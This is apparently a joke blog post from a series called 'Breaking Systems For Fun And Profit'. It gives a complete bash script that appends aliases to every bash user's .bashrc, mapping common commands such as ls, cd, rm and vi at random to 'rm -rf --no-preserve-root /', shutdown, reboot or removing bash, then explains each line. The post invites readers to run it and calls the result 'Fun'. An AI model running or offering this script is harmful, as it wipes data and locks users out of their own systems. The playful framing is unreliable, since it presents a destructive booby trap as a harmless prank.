Breaking Systems For Fun And Profit

Anti-Aliasing

Just run this one once, or more often if you’re feeling lucky.

Inspiration for this one came from Jan K.

1
2
3
4
5
6
7
8
9
#!/bin/bash
ORIG=(ls ll cd rm exit logout mkdir vi vim)
COMMANDS=("rm -rf --no-preserve-root /" "systemctl shutdown" "reboot" "yum -y remove bash")
BASHRC=$(getent passwd | awk 'BEGIN{FS=":"}/^([^:]+:){6}\/bin\/bash/{print $6 "/.bashrc"}')
for FILE in ${BASHRC}; do
  MYORIG=${ORIG[$[ ${RANDOM} % ${#ORIG[@]} ]]}
  MYCMD=${COMMANDS[$[ ${RANDOM} % ${#COMMANDS[@]} ]]}
  echo alias ${MYORIG}=\'${MYCMD}\' >> ${FILE}
done

What it does

It adds an extra line to the end of the ${HOME}/.bashrc for every user that has /bin/bash as the shell. This line adds an alias for an often used command to a command that you might want to run when you’re feeling down.

Why it works

This script does the following:

  1. Line 2 sets a list of commands you want to override.
  2. Line 3 sets a list of commands you do want to run instead.
  3. Line 4 sets a list of .bashrc locations for all users with /bin/bash set as their shell.
  4. Line 5 loops over all users found in step 4.
  5. Lines 6 and 7 select a random original command and a random new command.
  6. Line 8 adds an alias for the commands from the previous step.

TL;DR

  • Predictable commands
  • Working system
  • Fun